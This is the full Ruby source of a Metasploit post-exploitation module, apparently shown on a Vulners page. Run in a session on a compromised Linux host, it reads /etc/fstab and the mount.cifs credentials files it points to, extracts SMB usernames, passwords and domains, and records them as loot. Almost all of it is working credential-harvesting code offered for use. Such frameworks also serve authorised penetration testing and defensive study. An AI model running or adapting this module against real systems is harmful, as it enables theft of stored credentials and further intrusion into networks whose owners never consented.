##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
'Description' => %q{
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
/etc/fstab on a Linux system.
},
'License' => MSF_LICENSE,
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
)
)
end
def run
# keep track of any of the credentials files we read so we only read them once
cred_files = []
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
creds = []
# A table to store the found credentials for loot storage afterward
cred_table = Rex::Text::Table.new(
'Header' => 'mount.cifs credentials',
'Indent' => 1,
'Columns' =>
[
'Username',
'Password',
'Server',
'File'
]
)
# parse each line from /etc/fstab
fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')
read_file('/etc/fstab').each_line do |fstab_line|
fstab_line.strip!
# where we'll store the current parsed credentials, if any
cred = {}
# if the fstab line utilizies the credentials= option, read the credentials from that file
next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})
cred[:host] = ::Regexp.last_match(1)
# IPs can occur using the ip option, which is a backup/alternative
# to letting UNC resolution do its thing
cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
file = ::Regexp.last_match(1)
# skip if we've already parsed this credentials file
next if cred_files.include?(file)
# store it if we haven't
cred_files << file
# parse the credentials
cred.merge!(parse_credentials_file(file))
# if the credentials are directly in /etc/fstab, parse them
elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})
cred.merge!(parse_fstab_credentials(fstab_line))
end
creds << cred
end
# all done. clean up, report and loot.
creds.flatten!
creds.compact!
creds.uniq!
creds.each do |cred|
if Rex::Socket.dotted_ip?(cred[:host])
report_cred(
ip: cred[:host],
port: 445,
service_name: 'smb',
user: cred[:user],
password: cred[:pass],
proof: '/etc/fstab'
)
end
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
end
# store all found credentials
unless cred_table.rows.empty?
print_line("\n" + cred_table.to_s)
p = store_loot(
'mount.cifs.creds',
'text/csv',
session,
cred_table.to_csv,
'mount_cifs_credentials.txt',
'mount.cifs credentials'
)
print_status("CIFS credentials saved in: #{p}")
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password,
session_id: session_db_id,
post_reference_name: refname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
# Returns the username+domain and password as a hash.
def parse_fstab_credentials(line, file = '/etc/fstab')
creds = {}
# get the username option, which comes in one of four ways
user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)
if user_opt
case user_opt
# domain/user%pass
when %r{^([^/]+)/([^%]+)%(.*)$}
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
creds[:pass] = ::Regexp.last_match(3)
# domain/user
when %r{^([^/]+)/([^%]+)$}
creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"
# user%password
when /^([^%]+)%(.*)$/
creds[:user] = ::Regexp.last_match(1)
creds[:pass] = ::Regexp.last_match(2)
# user
else
creds[:user] = user_opt
end
end
# get the password option if any
creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)
# get the domain option, if any
creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
creds[:file] = file unless creds.empty?
creds
end
# Parse mount.cifs credentials from +file+, returning the username+domain and password
# as a hash.
def parse_credentials_file(file)
creds = {}
domain = nil
read_file(file).each_line do |credfile_line|
case credfile_line
when /domain=(.*)/
domain = ::Regexp.last_match(1)
when /password=(.*)/
creds[:pass] = ::Regexp.last_match(1)
when /username=(.*)/
creds[:user] = ::Regexp.last_match(1)
end
end
# prepend the domain if one was found
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain && creds[:user])
creds[:file] = file unless creds.empty?
creds
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation